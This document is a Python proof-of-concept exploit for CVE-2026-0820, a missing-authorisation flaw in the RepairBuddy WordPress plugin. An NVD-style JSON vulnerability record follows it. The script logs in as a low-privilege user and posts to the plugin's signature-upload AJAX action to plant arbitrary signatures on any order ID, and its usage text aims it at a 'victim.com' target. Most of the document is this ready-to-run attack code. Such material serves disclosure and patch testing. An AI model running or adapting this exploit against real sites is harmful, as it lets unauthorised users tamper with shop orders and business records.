CVE-2026-0820

import requests import base64 import sys # CVE-2026-0820 PoC - WordPress RepairBuddy IDOR Vulnerability # Target: RepairBuddy - Repair Shop CRM & Booking Plugin < 4.1116 # Vulnerability: Insecure Direct Object Reference in wc_upload_and_save_signature_handler def exploit_signature_upload(target_url, wp_username, wp_password, order_id, signature_file): """ Exploit IDOR vulnerability to upload arbitrary signature to any order Args: target_url: WordPress site URL wp_username: WordPress subscriber account username wp_password: WordPress account password order_id: Target order ID to inject signature (can be any order in system) signature_file: Path to signature image file """ # Create WordPress session session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {wp_username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Read signature file try: with open(signature_file, 'rb') as f: signature_data = f.read() signature_base64 = base64.b64encode(signature_data).decode('utf-8') except Exception as e: print(f"[-] Failed to read signature file: {e}") return False # Step 3: Exploit IDOR - Upload signature to arbitrary order exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wcrb_upload_and_save_signature', # Vulnerable AJAX action 'order_id': order_id, # IDOR: No ownership validation 'signature_data': signature_base64, 'signature_type': 'customer' } print(f"[*] Exploiting IDOR vulnerability on order ID: {order_id}...") response = session.post(exploit_url, data=exploit_data) # Step 4: Analyze response if response.status_code == 200: try: result = response.json() if result.get('success'): print(f"[+] SUCCESS! Signature uploaded to order {order_id}") print(f"[+] Response: {result}") return True else: print(f"[-] Upload failed: {result.get('message', 'Unknown error')}") return False except: if 'success' in response.text.lower() or 'uploaded' in response.text.lower(): print(f"[+] SUCCESS! Signature may have been uploaded to order {order_id}") return True print(f"[-] Exploitation failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2026-0820_poc.py <target_url> <username> <password> <order_id> <signature_file>") print("Example: python cve-2026-0820_poc.py http://victim.com admin password 123 signature.png") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] order_id = sys.argv[4] signature = sys.argv[5] exploit_signature_upload(target, username, password, order_id, signature)

{"cve": {"id": "CVE-2026-0820", "sourceIdentifier": "[email protected]", "published": "2026-01-17T04:16:08.150", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference due to missing capability checks on the wc_upload_and_save_signature_handler function in all versions up to, and including, 4.1116. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary signatures to any order in the system, potentially modifying order metadata and triggering unauthorized status changes."}, {"lang": "es", "value": "El plugin RepairBuddy – Repair Shop CRM &amp; Booking Plugin para WordPress plugin de WordPress es vulnerable a Referencia Directa a Objeto Insegura debido a la falta de comprobaciones de capacidad en la función wc_upload_and_save_signature_handler en todas las versiones hasta la 4.1116, inclusive. Esto permite a atacantes autenticados, con acceso de nivel Suscriptor y superior, cargar firmas arbitrarias a cualquier pedido en el sistema, modificando potencialmente los metadatos del pedido y desencadenando cambios de estado no autorizados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/tags/4.1116/lib/includes/classes/class-wcrb_signature.php#L562", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/trunk/lib/includes/classes/class-wcrb_signature.php#L562", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3436356%40computer-repair-shop&new=3436356%40computer-repair-shop&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1b2ad299-03b1-4b9e-a241-d2ad2d85c3ac?source=cve", "source": "[email protected]"}]}}